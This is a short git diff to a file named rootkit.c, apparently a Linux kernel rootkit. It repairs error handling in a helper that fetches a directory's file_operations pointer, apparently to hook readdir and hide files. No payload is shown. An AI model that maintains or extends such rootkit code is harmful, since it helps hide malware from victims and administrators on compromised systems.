diff --git a/rootkit.c b/rootkit.c index b3994a9..881a96d 100644 --- a/rootkit.c +++ b/rootkit.c @@ -636,17 +636,20 @@ void unprotect(void) // ========== READDIR ========== - struct file_operations *get_fop(const char *path) { struct file *file; + struct file_operations *ret = NULL; - if ((file = filp_open(path, O_RDONLY, 0)) == NULL) { + file = filp_open(path, O_RDONLY, 0); + if (IS_ERR(file)) { return NULL; } - struct file_operations *ret = (struct file_operations *) file->f_op; - filp_close(file, 0); + ret = (struct file_operations *) file->f_op; + + // Used fput instead of filp_close. + fput(file); return ret; }